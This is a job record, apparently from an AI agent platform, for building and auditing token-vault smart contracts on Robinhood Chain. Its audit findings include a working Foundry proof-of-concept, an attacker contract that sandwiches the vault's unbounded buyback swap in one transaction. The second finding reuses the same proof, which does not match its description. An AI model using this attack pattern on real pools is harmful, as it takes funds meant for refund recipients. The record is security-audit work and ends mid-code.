{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"ed909f82-0fa3-4cb7-8219-952be6e3bde3","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"85b87a349dc37240c02950013c8d57337d1b585161a5a285fc12f083f896097f","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"32b133761bebe6b63a17cf4adfed9144563f889dd06fa5c9529b26879973d124","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7dc7d6a1d6f18ab4b2fd183c062620a80769239286cf293559ca41ae9cc3e5c4","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"7a7371f6b85fca0b798689b173b264d5d8b921269ec612b69379a9666b2a33e3","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"94d9bdc409af21431e8ab40ab9897d05bd5b4fae55462e33968856acbe225b33","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"5814dcec38acb5bbf4557752a3822601d58e65695eec18b86a62a70e51488aa6","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"018b5ab1332cd339c04f6d3688a4ca5f80929bb71b99d552d5415f84397022d3","dependsOn":["build_contract_project","write_foundry_tests"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"84665641105bac7cf2a43cd61f200c1e369931fca15ecb73c379fb9b080eda5f","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"SIMD Vault on Robinhood Chain: the contract that pays for and owns the fees of the \"Test\" token launch and splits everything it receives every 7 days, plus a CompensationVault that refunds the wallets that lost $SIMD in the October 2026 migration. Four linked contracts, no owner, no admin, no upgrade, no pause.\r\n\r\nFixed addresses (Robinhood Chain):\r\n- IMD token: 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127\r\n- Identity.md Intake: 0xa43e6f75ee006411f79ac1c84120606c2330de82 (request(bytes32 action, bytes body, (address target, bytes4 selector) callback, address asset, uint256 amount); price from priceOf(action, asset))\r\n- Identity.md launch factory: 0x9c9d2fcb75c2c132c0ac0c42df3819a42347265e (claimFees(uint64 launchNumber) can be called by anyone and pays the launch's requester; positionOf(uint64) returns (PoolKey key, int24 tickLower, int24 tickUpper, address requester))\r\n- Dev wallet: 0xdfa1f1f6feaa04f7874eff0b7754b7ffaebd8bc0\r\n- Marketing wallet: 0xdfa1f1f6feaa04f7874eff0b7754b7ffaebd8bc0\r\n\r\n1. SIMDVault\r\n   - launch(bytes body): callable only by the dev wallet, only once. Approves Intake for exactly priceOf(\"launch.open@launch-1\", IMD) and calls Intake.request(\"launch.open@launch-1\", body, no callback, IMD, that price), paid from the vault's own IMD. This makes the vault the launch's requester, so the factory pays it the launch's creator fees for good.\r\n   - bindLaunch(uint64 launchNumber, address token): callable only by the dev wallet, only once, and only if factory.positionOf(launchNumber).requester == address(this). Stores both for good and passes the token to HolderRewards, JobsVault and CompensationVault (their one-time setToken/setLaunch, callable only by the vault; CompensationVault also gets the pool key from factory.positionOf).\r\n   - distribute(): anyone, at most once every 7 days, only after bindLaunch. First calls factory.claimFees(launchNumber) inside try/catch (a failed claim never blocks distributing what the vault already holds). Then splits the vault's whole IMD balance: 40% to HolderRewards, 25.72% to JobsVault, 17.14% to the dev wallet, 17.14% to the marketing wallet (rounding dust stays for next week). The vault's whole balance of the launched token is burned (sent to 0x000000000000000000000000000000000000dEaD). Native ETH: the pool is TEST/IMD so the factory should never pay ETH, but the vault accepts it (receive()) so a native payout can never make claimFees revert; any native ETH balance is sent 100% to the marketing wallet in distribute(). No conversions.\r\n   - No other way for IMD or tokens to leave.\r\n   SIMDVault deploys HolderRewards, JobsVault and CompensationVault in its own constructor and exposes them as immutable public getters.\r\n2. HolderRewards: receives IMD each week and pays it to holders of the launched token pro rata to a weekly snapshot, so it cannot be gamed by buying just before a claim. On each IMD deposit from the vault it opens a new epoch and asks the swarm, through Intake.request(\"oracle.request@oracle-1\", ...), paid from its own IMD, for a Merkle root of every holder's balance at the deposit block, excluding pools, the PoolManager, the factory and these three contracts; the root arrives in the oracle callback (only Intake can call it). claim(epoch, amount, proof) pays each holder once per epoch, and an epoch can never pay out more than its pot: each epoch stores its pot and claimed total, and a claim reverts if claimed + amount would exceed the pot. After 28 days anyone can roll an epoch over: exactly pot - claimed moves into the current epoch and the old epoch closes for claims.\r\n3. JobsVault: receives IMD each week and pays Identity.md swarm jobs for holders. Any wallet holding at least 1,000,000 of the launched token can call requestJob(bytes body) at most once per 24 hours; the vault pays Intake.request(\"job.open@job-1\", body, no callback, IMD, priceOf) from its own IMD. No withdraw.\r\n4. CompensationVault: receives 10% of the launched token's supply from the launch factory and, in IMD, the launch's anti-sniper fee from the token's hook. It refunds the wallets on a fixed list, built from the public on-chain record of every $SIMD transfer to the migration wallet 0xE132be23CE6255930556a45406075E62fb6340C0 after snapshot block 26213125, each weighted by what it lost (sent, capped at its snapshot balance). The list is committed as constants: Merkle root 0xe84256f66c03a4565c29addd32238495f1a0d5dda8c618e5f81ff8637c296347 over leaves keccak256(bytes.concat(keccak256(abi.encode(address account, uint256 weight)))) with sorted-pair hashing (OpenZeppelin MerkleProof), total weight 201084680772174552329559308, 62 wallets. Nobody can change the list.\r\n   - buyback(): anyone, only from 30 minutes after the pool opened (the end of the anti-sniper window). Swaps the vault's IMD for the launched token in the launch's own Uniswap v4 pool through the PoolManager (0x8366a39cc670b4001a1121b8f6a443a643e40951), in up to 10 tranches: each call spends at most 10% of the IMD the vault held when buyback first ran, at most one call every 10 minutes, so no single swap can be sandwiched for much. Stops when the IMD is spent.\r\n   - airdrop(address[] accounts, uint256[] weights, bytes32[][] proofs): anyone, only after the last buyback tranche. Each listed wallet is paid once: tokenBalanceAtAirdropStart * weight / totalWeight of the launched token, sent straight to it (the balance is fixed the first time airdrop runs). Wallets not on the list or with a bad proof are skipped.\r\n   - No other way for tokens or IMD to leave.\r\n\r\nTests: fork tests against Robinhood Chain with the real Intake and factory addresses; launch and bindLaunch only by the dev wallet and only once; bindLaunch rejects a launch whose requester is not the vault; the 40 / 25.72 / 17.14 / 17.14 split and the token burn; the 7-day limit; JobsVault holding and daily limits; only Intake can deliver oracle answers; a native-ETH payout during distribute() goes to the marketing wallet without blocking the IMD split or the burn; an over-sized Merkle claim and a double claim revert; rollover moves exactly pot - claimed; CompensationVault: buyback only after 30 minutes, at most 10% per tranche and one tranche per 10 minutes, airdrop only after the buyback, each wallet paid once and pro rata, a bad proof or an unlisted wallet gets nothing, the list cannot change.\r\n\r\nTest harness note (Robinhood Chain is an Arbitrum Orbit chain): Foundry treats chain id 4663 like Arbitrum and answers ArbSys(address(100)).arbBlockNumber() with block.number, ignoring any mock etched at address(100). In tests never mock ArbSys: set the block number with vm.roll (and time with vm.warp) so arbBlockNumber() and block.number agree, and keep every test passing on chain id 4663.\r\n","parentJobId":null,"planHash":"7ee8bc164bff8ca25d8a0267fd33b0366e68a6cc20525bcd237dd243696f0add","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"ed909f82-0fa3-4cb7-8219-952be6e3bde3","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2363-simd-vault-robinhood-chain"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51514","feedbackHash":"d175a2aff3440d3c01ba2ee137016be49a5ea19cafbaa84fa3394b82cad0720f","nodeKey":"audit_economics","submissionHash":"85b87a349dc37240c02950013c8d57337d1b585161a5a285fc12f083f896097f","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51020","feedbackHash":"489db40f3a2ecf564a1e113f5f583655c478392112d69fe3e1eba5ab98b37565","nodeKey":"audit_flow","submissionHash":"32b133761bebe6b63a17cf4adfed9144563f889dd06fa5c9529b26879973d124","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52139","feedbackHash":"5c004be60cca36501c1806380d1dc6cf0b208fbaf51000409a8ccdccc9e787e0","nodeKey":"audit_judge","submissionHash":"06f8c7f658b75da5768630df58b022d1e7857b50deb50df6cc27820aa6a8dcf4","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51352","feedbackHash":"65b1f34de42937400b8e4de66abbfeb07f5773d738686fd7e196a1a17fc65477","nodeKey":"audit_judge","submissionHash":"7dc7d6a1d6f18ab4b2fd183c062620a80769239286cf293559ca41ae9cc3e5c4","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52178","feedbackHash":"95877950e6694aa14812b4a196055463164506c4b249ef89246ef8544869260a","nodeKey":"audit_judge","submissionHash":"e7dc44359e518a105b198ee44e9879950860e772e342e7776764236f667b8266","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52685","feedbackHash":"82c22c81e4c8c48a9b9e9d3e7be7787debbbbf3a16968a7dbfa4e2e8accbdb01","nodeKey":"audit_math","submissionHash":"7a7371f6b85fca0b798689b173b264d5d8b921269ec612b69379a9666b2a33e3","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51481","feedbackHash":"e4b0e53597c9549c403b8aa515f1103669d334cbc2cde1b18ba986481d4e48b4","nodeKey":"audit_permissions","submissionHash":"94d9bdc409af21431e8ab40ab9897d05bd5b4fae55462e33968856acbe225b33","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"53911","feedbackHash":"f0dbb8bb41779980b77a43d9dfebc308e0d67f0279a3b577fb7eecfefdd8b648","nodeKey":"build_contract_project","submissionHash":"5814dcec38acb5bbf4557752a3822601d58e65695eec18b86a62a70e51488aa6","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52548","feedbackHash":"bbc1c6fc4d353ddba4a5ba5900d1b0596420d79548f3d0c4bb01d754103b93d0","nodeKey":"build_contract_project","submissionHash":"621069610889b9859df36d8d2e66faf0c4980a5035f8dfe3c0942ead9d19ebe2","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"53902","feedbackHash":"4cc9ae210f945d1bcfa948e830a4dff2e971668d271e6e949b84bcb6174b40c8","nodeKey":"build_contract_project","submissionHash":"5b51739d5abf4fc07f57d1ec7dd4233a2053c7ac10cc95be7c917e7b488f7620","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"51483","feedbackHash":"d2f176357c1771ceee6d197267401a64fc54dc5d0595e1ca3eb44e4cf387dcba","nodeKey":"build_contract_project","submissionHash":"65ffb84865b1271431d1da9b07d2a97bc25de8e45e9dc4150f622466ea4c0df2","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51522","feedbackHash":"5eda09bec8860d68e1161f3073839e4b612fb1b5a07835c31d3bc0c8f96f061a","nodeKey":"build_contract_project","submissionHash":"664c1470b27445829bf5da086fa6b48447a1d9aea3ee523b9706dcc2de3dab64","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52231","feedbackHash":"000f52f3a46b25bbfda82da4f4793092cd8f1240ac23f8c37549b69ec56b5e05","nodeKey":"manifest","submissionHash":"231ce8a1429579494f3d5e332218c7c9987123cbbc972a31329c76e621838f47","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52590","feedbackHash":"2da1a970ea837f22fa1523c316d02ea90fb6769015102e4e5f43e4e0c99d3207","nodeKey":"manifest","submissionHash":"cb66ded266a067d6249f88ff221f28cc447c4d94c5148f92221c6565d8324250","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51476","feedbackHash":"ad7763bb94ce7a1b122e518035ed1abde613343d5f17b73270b96efdfe719deb","nodeKey":"manifest","submissionHash":"018b5ab1332cd339c04f6d3688a4ca5f80929bb71b99d552d5415f84397022d3","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"53938","feedbackHash":"b958882217b0d0bcc24be35f8095e6a60f7ec556772327d280ac3064f026bdf9","nodeKey":"write_foundry_tests","submissionHash":"84665641105bac7cf2a43cd61f200c1e369931fca15ecb73c379fb9b080eda5f","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51537","feedbackHash":"17ca48329caae7b8352c1da4bf12103e43f3b878feda7132d4e002a85b7aa95a","nodeKey":"write_foundry_tests","submissionHash":"ae0802c45c5c936a5c8d21d77e7761177c533135150e9a7ade7cc668402ca163","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50954","feedbackHash":"c9f1d0a154884a26838f9e6768d083133539e4105674e52312886acdc2e07952","nodeKey":"write_foundry_tests","submissionHash":"a88f3ae1166e706dd80a4906686bf79095b8e844dead8917443d32e64e3d76ee","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51447","feedbackHash":"84f43ef99111ea91b55f0d38d8db76882de2fcaf4a871e504a67039700c18a7d","nodeKey":"write_foundry_tests","submissionHash":"c13b3f118b563193b3efcee1d841af0d3d0937b475f9393be5bb0b140935ed31","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"7bcae96e77c4672946cf2c242fbfd0604464a87fa0129f0bfabc314c75f27528","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"625ef485f18354eac71195c148edc1a649a18d8f02b5d7b8ce33d68e1caf9f32","device":"e9049e5b12ba53ba","findings":[],"hash":"018b5ab1332cd339c04f6d3688a4ca5f80929bb71b99d552d5415f84397022d3","nodeId":"2a63da5a-94b5-4737-aedb-e86d9fbcc281","outcome":"completed","summary":"I updated the notes in `launch.json` so they describe the buyback code as it now stands. That is the only file changed. `forge build` succeeds, and `forge test` with the verifier's fuzz seed ran 99 tests: 98 passed, 0 failed, 1 skipped.\n\n- **Contracts list (unchanged):** the manifest still lists only `SIMDVault`, with no constructor arguments. Its constructor takes none, and it creates and links JobsVault, CompensationVault and HolderRewards itself. Listing the three as separate entries would deploy copies that aren't linked to the vault. Nothing has an owner or admin, so there is no `$owner`. Every fixed address is written into the source as a constant.\n- **Notes update:** the CompensationVault description was missing two behaviours that a later contributor's work added to the source:\n  - Each buyback swap is held within a 1.5% price band around an earlier reference price. A swap that stops at the band edge counts as a partial fill, not one of the ten tranches.\n  - Three days after the buyback opens, anyone can end it, so the airdrop always opens.\n\n  The notes are now 2,948 characters, under the 4,000 limit.\n\nThe fork tests against the live Robinhood Chain contracts still need to be run, because this machine has no network.","treeHash":"d4a94c12926cfbd3e8d96ba60a48a399e0c42024","usage":{"cachedInputTokens":208841,"inputTokens":12,"model":"claude-opus-5-5","outputTokens":2172,"runtime":"claude","turns":6,"wallClockMs":306101}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"079b3bf4557d8811","findings":[{"citation":"resolved","description":"Merges audit_flow, audit_economics and audit_permissions (same root cause). unlockCallback swaps each tranche with the pool's outer price limit. buyback() only checks that the whole tranche was spent and that more than 0 tokens came back (lines 106-110, 137). Anyone can call buyback(), so a contract can do all three steps in one transaction: buy TEST to push the price up, call buyback(), then sell the TEST back. No mempool is needed. Tranching caps the size of each swap but not its price, and the caller can repeat this on all ten tranches, 10 minutes apart. So most of the anti-sniper IMD meant for the 62 migration wallets goes to the sandwicher. This breaks the brief's promise that 'no single swap can be sandwiched for much'. Fix that keeps the design: store a reference sqrtPrice (at setLaunch, or a TWAP / the price after the last tranche) and pass a sqrtPriceLimitX96 or minimum output within a bounded deviation of it. Revert the tranche when the bound is hit.","line":131,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\n\n/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the\n/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.\ncontract SandwichToken is ERC20 {\n    constructor() ERC20(\"Test\", \"TEST\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract SandwichFactory {\n    PoolKey private key;\n    address public requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n}\n\n/// Seeds liquidity and swaps, settling v4 deltas.\ncontract V4Actor is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager internal immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 liquidity) external {\n        manager.unlock(abi.encode(uint8(0), key, liquidity, false));\n    }\n\n    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {\n        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =\n            abi.decode(data, (uint8, PoolKey, uint128, bool));\n        BalanceDelta delta;\n        if (kind == 0) {\n            (delta,) = manager.modifyLiquidity(\n                key,\n                IPoolManager.ModifyLiquidityParams({\n                    tickLower: -887220,\n                    tickUpper: 887220,\n                    liquidityDelta: int256(uint256(amount)),\n                    salt: bytes32(0)\n                }),\n                \"\"\n            );\n        } else {\n            delta = manager.swap(\n                key,\n                IPoolManager.SwapParams({\n                    zeroForOne: zeroForOne,\n                    amountSpecified: -int256(uint256(amount)),\n                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n                }),\n                \"\"\n            );\n        }\n        pay(key.currency0, delta.amount0());\n        pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, address(this), uint256(uint128(delta)));\n        }\n    }\n}\n\ncontract Sandwicher is V4Actor {\n    constructor(IPoolManager manager_) V4Actor(manager_) {}\n\n    /// Front-run, trigger the vault's tranche, back-run: one transaction, no mempool needed.\n    function attack(PoolKey memory key, CompensationVault vault, address imd, address tkn, uint256 frontRun)\n        external\n    {\n        bool imdIsZero = Currency.unwrap(key.currency0) == imd;\n        swapExactIn(key, imdIsZero, frontRun); // IMD -> TEST, price of TEST up\n        try vault.buyback() {} catch {} // a fixed vault may revert here; the attack must then be a loss\n        uint256 held = IERC20(tkn).balanceOf(address(this));\n        swapExactIn(key, !imdIsZero, held); // TEST -> IMD\n    }\n}\n\ncontract BuybackSandwichTest is Test {\n    SandwichToken internal imd;\n    SandwichToken internal token;\n    SandwichFactory internal factory;\n    SIMDVault internal vault;\n    CompensationVault internal compensation;\n    PoolKey internal key;\n    IPoolManager internal manager;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new SandwichToken()).code);\n        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        imd = SandwichToken(Network.IMD);\n        factory = SandwichFactory(Network.FACTORY);\n        manager = IPoolManager(Network.POOL_MANAGER);\n        address tokenAddress = address(0x1000);\n        vm.etch(tokenAddress, address(new SandwichToken()).code);\n        token = SandwichToken(tokenAddress);\n        key = PoolKey({\n            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),\n            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96)); // 1 TEST = 1 IMD\n        V4Actor seeder = new V4Actor(manager);\n        imd.mint(address(seeder), 1e24);\n        token.mint(address(seeder), 1e24);\n        // Full-range liquidity with ~1,000 IMD and ~1,000 TEST of reserves: a thin launch pool.\n        seeder.seed(key, 1_000 ether);\n        vault = new SIMDVault();\n        compensation = vault.compensationVault();\n        factory.configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(1, tokenAddress);\n        imd.mint(address(compensation), 1_000 ether); // tranche = 100 IMD\n        vm.warp(compensation.buybackAvailableAt());\n    }\n\n    function testBuybackTrancheCannotBeSandwichedForProfit() public {\n        Sandwicher attacker = new Sandwicher(manager);\n        imd.mint(address(attacker), 500 ether);\n        uint256 attackerBefore = imd.balanceOf(address(attacker));\n        uint256 vaultImdBefore = imd.balanceOf(address(compensation));\n\n        attacker.attack(key, compensation, Network.IMD, address(token), 500 ether);\n\n        uint256 attackerAfter = imd.balanceOf(address(attacker));\n        uint256 vaultSpent = vaultImdBefore - imd.balanceOf(address(compensation));\n        uint256 vaultGot = token.balanceOf(address(compensation));\n        emit log_named_uint(\"vault IMD spent\", vaultSpent);\n        emit log_named_uint(\"vault TEST received\", vaultGot);\n        emit log_named_int(\"attacker IMD profit\", int256(attackerAfter) - int256(attackerBefore));\n        // Intended: tranches are not sandwichable for much. At the pool's pre-call price (1:1) the\n        // 100 IMD tranche is worth ~99.7 TEST; a bounded swap either fills near that or reverts.\n        assertTrue(vaultSpent == 0 || vaultGot >= 90 ether, \"tranche executed far below the pre-call price\");\n        assertLe(int256(attackerAfter) - int256(attackerBefore), int256(10 ether), \"sandwicher profit exceeds 10% of the tranche\");\n    }\n}","reproduction":"Ran test/scratch/Proof_1aca827b9ab5.t.sol (the audit_permissions proof) on the real v4 PoolManager code. Setup: TEST/IMD pool, fee 3000, 1:1 price, full-range liquidity 1000e18 (~1000 IMD reserve). CompensationVault is bound and holds 1000 IMD (tranche 100 IMD); time is buybackAvailableAt. The attacker contract does this in one tx: swap 500 IMD->TEST, call buyback(), swap all TEST->IMD. Expected: the vault gets about 99.7 TEST for 100 IMD, or the tranche reverts. Actual: the vault spends 100 IMD for 41.63 TEST and the attacker ends 53.67 IMD richer. The test fails with 'tranche executed far below the pre-call price'. The audit_economics proof (Proof_16af6a98cd6a) also reproduces: an 82,274 IMD profit out of a 100,000 IMD tranche.","severity":"high","snippet":"                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1","title":"CompensationVault.buyback(): tranche swap has no price bound, so the permissionless caller sandwiches every tranche in one transaction"},{"citation":"resolved","description":"Merges audit_math's two high findings and audit_economics' medium (same root cause: there is no way to end the buyback except ten exact, full fills). trancheCap is fixed on the first call. Every call must consume exactly `spend` IMD and receive more than 0 tokens, otherwise the whole call reverts and no state changes. buybackComplete is only set after ten tranches or when the IMD balance is zero, and airdrop() requires it (line 150). No timeout, skip or smaller-tranche path exists. Two cheap ways to reach this: (a) nobody sniped, so the anti-sniper fee is 0, and anyone donates 10 wei of IMD before the first buyback(). trancheCap becomes 1 wei, the LP fee eats the whole 1-wei swap, and the output is 0. (b) The fee is larger than the launch position's range can absorb, so the swap stops at the range edge with a partial input. Either way the 10% supply held for the 62 refund wallets, and the IMD, are locked with no exit. Fix: treat a zero-output or partial tranche as the end of the buyback (or spend only what was consumed), and/or let anyone finish the buyback after a deadline.","line":137,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\n\n/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the\n/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.\ncontract SandwichToken is ERC20 {\n    constructor() ERC20(\"Test\", \"TEST\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract SandwichFactory {\n    PoolKey private key;\n    address public requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n}\n\n/// Seeds liquidity and swaps, settling v4 deltas.\ncontract V4Actor is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager internal immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 liquidity) external {\n        manager.unlock(abi.encode(uint8(0), key, liquidity, false));\n    }\n\n    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {\n        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == 